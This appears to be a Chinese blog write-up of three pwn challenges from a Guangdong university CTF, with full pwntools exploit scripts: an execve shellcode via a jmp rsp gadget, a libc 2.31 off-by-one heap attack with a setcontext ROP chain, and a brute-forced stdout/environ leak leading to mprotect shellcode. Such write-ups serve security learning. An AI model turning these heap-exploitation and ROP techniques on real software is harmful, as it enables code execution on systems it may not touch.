第二届广东大学生网络安全大赛

替补参赛,只做出两道pwn。

题目连接:https://pan.baidu.com/s/1w2_DnoXSwgIzHLqlIcB4Cw
提取码:jkg0

image-20220525123229430

jmp_rsp

签到题,直接找到jmp rsp的gadget地址,然后写shellcode即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
binary = './jmp_rsp'
local = 0
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('47.106.122.102', 44300)
# libc = ELF(' ')
elf = ELF(binary)


# gdb.attach(p)
jmp_rsp = 0x46d01d
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

payload = 'a' * 0x88 + p64(jmp_rsp) + shellcode
p.sendline(payload)
p.interactive()

midpwn

libc2.31的off by one,限制堆块只能0x28和0xb0,同时开了白名单,导致无法直接跳转setcontext那个gadget了,可以用下面这段gadget控制rdx然后再跳到setcontext,剩下都是常规思路了。比赛时没看题目描述,文件描述符1-5都被用了,打本地文件描述符用3,远程换成6。

mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

image-20220525124129341

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

context.log_level = 'debug'
binary = './orz'
local = 1
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('120.79.220.233', 45219)
libc = ELF('./libc-2.31.so')
def add(size, content):
p.sendlineafter('one?', '1')
p.sendlineafter('size : ', str(size))
p.sendafter('your note.', content)


def edit(index, content):
p.sendlineafter('one?', '2')
p.sendlineafter('index.', str(index))
p.sendafter('new note.', content)


def free(index):
p.sendlineafter('one?', '4')
p.sendlineafter('index.', str(index))


def show(index):
p.sendlineafter('one?', '3')
p.sendlineafter('index.', str(index))

# gdb.attach(p)

for i in range(7):
add(0xb0, 'aaa')

for i in range(7):
free(i)

add(0x28, 'aaa')#0
add(0x28, 'ccc')#1
add(0x28, '111')#2
for i in range(10):
add(0x28, 'aaa')
edit(0, 'a'*0x28 + '\xc1')
free(1)
add(0x28, 'flag\x00')#1
show(2)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) -0x70 - libc.sym['__malloc_hook']
success('libc_base -> {}'.format(hex(libc_base)))
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
add(0x28, 'aaa')#13
add(0x28, '222')#14
add(0x28, '333')#15
add(0xb0, '1')#16
add(0xb0, '2')#17
show(16)
p.recvline()
heap_base = (u64(p.recv(6).ljust(8, b'\x00')) & 0xfffffffff000) - 0x2000
success('heap_base -> {}'.format(hex(heap_base)))

free(3)
free(4)
edit(15, p64(free_hook) + b'\x0a')
add(0x28, 'aaa')
add(0x28, p64(libc_base + 0x1518b0))
pop_rdi = 0x23b72 + libc_base # pop rdi ; ret
pop_rsi = 0x2604f + libc_base # pop rsi ; ret
pop_rdx_r12 = 0x119241 + libc_base # pop rdx ; pop r12 ; ret
ret = 0x22679 + libc_base # ret
pop_rax_ret = libc_base + 0x47400
rdi_rdx = libc_base + 0x1518b0 #mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
syscall = libc_base + 0x10E000

#open
payload = p64(pop_rdi) + p64(heap_base+0x2d50) + p64(pop_rsi) + p64(0) + p64(pop_rax_ret) + p64(2) + p64(syscall)
#read
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x2b0)
payload += p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(libc_base+libc.sym['read'])

# write
payload += p64(pop_rdi) + p64(1) + p64(libc_base+libc.sym['write'])


edit(17, payload + b'\x0a')
edit(0, p64(heap_base + 0x2c60)*5 + b'\x0a')
edit(16, ((p64(heap_base + 0x2c60)+p64(heap_base + 0x2c60)).ljust(0x20, b'a')+p64(setcontext+33)).ljust(0xa0, b'a') + p64(heap_base+0x2ba0) + p64(ret) + b'\x0a')
# pause()
free(16)
p.interactive()

easyheap

比赛时看了挺久没思路,赛后根据ex师傅思路复现,利用流程如下:

爆破程序基址和堆基址之间的偏移,把编辑次数和后门写入次数的变量改大,申请个大堆块,得到libc附近的地址,然后就利用偏移差打stdout泄露libc,泄露栈地址,最后打栈溢出

本地调试exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
binary = './easyheap'
local = 1
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('', 0)
libc = ELF('./libc-2.31.so')


def edit(index, content):
p.sendlineafter('4.delete\n', '2')
p.sendlineafter('Idx?', str(index))
p.sendafter('Context:\n', content)

def backdoor(size, offset, content):
p.sendlineafter('4.delete\n', '666')
p.sendlineafter('Size?', str(size))
p.sendlineafter('Offset?\n', str(offset))
p.sendafter('Context:\n', content)

gdb.attach(p)

distance = 0x5000
# 修改 backdoor_time -> 0x100
backdoor(0x10, 0x4014-0x8f0-0x5000, p16(0x100))

# 修改 edit_time -> 0x100
backdoor(0x10, 0x4010-0xa00-0x5000, p16(0x100))

# 通过 mmap 泄露 libc
backdoor(0x21000, 0x212690, p64(0xfbad3887))
backdoor(0x21000, 0x212690+0x22000+0x20, p8(0))
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ec980
success('libc_base -> {}'.format(hex(libc_base)))

# 通过 environ 泄露栈返回地址
backdoor(0x10, 0x4070-0xcb0-0x5000, p64(libc_base+0x1ed6a0))
edit(2, p64(0xfbad3887) + p64(libc_base + 0x1ef600) * 4 + p64(libc_base + 0x1ef608) * 2)
ret_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x120
success('ret_addr -> {}'.format(hex(ret_addr)))

# 栈溢出
pop_rdi = libc_base + 0x23b72
pop_rsi = libc_base + 0x2604f
pop_rdx_r12 = libc_base + 0x119241
mprotect = libc_base + libc.sym['mprotect']
payload = p64(pop_rdi) + p64(ret_addr & 0xfffffffff000)
payload += p64(pop_rsi) + p64(0x2000) + p64(pop_rdx_r12) + p64(7)*2 + p64(mprotect)
shellcode = shellcraft.open('./flag', 0)
shellcode += shellcraft.read(3, ret_addr, 0x30)
shellcode += shellcraft.write(1, ret_addr, 0x30)

backdoor(0x200, 0x4088-0xfb0-0x5000, p64(ret_addr))
edit(5, payload+p64(ret_addr+0x48)+asm(shellcode))
p.interactive()

远程爆破exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
import random

# context.log_level = 'debug'
context.arch = 'amd64'
binary = './easyheap'

def edit(index, content):
p.sendlineafter('4.delete\n', '2')
p.sendlineafter('Idx?', str(index))
p.sendafter('Context:\n', content)

def backdoor(size, offset, content):
p.sendlineafter('4.delete\n', '666')
if b'gift' not in p.recvline():
raise "once again"
p.sendlineafter('Size?', str(size))
p.sendlineafter('Offset?\n', str(offset))
p.sendafter('Context:\n', content)

def exp():
distance = random.randint(0, 0x1000) * 0x1000
# change backdoor_time -> 0x100
backdoor(0x10, 0x4014-0x8f0-distance, p16(0x100))

# change edit_time -> 0x100
backdoor(0x10, 0x4010-0xa00-distance, p16(0x100))
success('distance -> {}'.format(hex(distance)))
# mmap leak libc addr
backdoor(0x21000, 0x212690, p64(0xfbad3887))
backdoor(0x21000, 0x212690+0x22000+0x20, p8(0))
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ec980
success('libc_base -> {}'.format(hex(libc_base)))

# environ leak stack addr
backdoor(0x10, 0x4070-0xcb0-distance, p64(libc_base+0x1ed6a0))
edit(2, p64(0xfbad3887) + p64(libc_base + 0x1ef600) * 4 + p64(libc_base + 0x1ef608) * 2)
ret_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x120
success('ret_addr -> {}'.format(hex(ret_addr)))

backdoor(0x200, 0x4088-0xfb0-distance, p64(ret_addr))

pop_rdi = libc_base + 0x23b72
pop_rsi = libc_base + 0x2604f
pop_rdx_r12 = libc_base + 0x119241
mprotect = libc_base + libc.sym['mprotect']
payload = p64(pop_rdi) + p64(ret_addr & 0xfffffffff000)
payload += p64(pop_rsi) + p64(0x2000) + p64(pop_rdx_r12) + p64(7)*2 + p64(mprotect)
shellcode = shellcraft.open('./flag', 0)
shellcode += shellcraft.read(3, ret_addr, 0x30)
shellcode += shellcraft.write(1, ret_addr, 0x30)
edit(5, payload+p64(ret_addr+0x48)+asm(shellcode))
p.interactive()

if __name__ == '__main__':
while True:
try:
local = 1
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote(' ', )
libc = ELF('./libc-2.31.so')
exp()
break
except:
p.close()

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!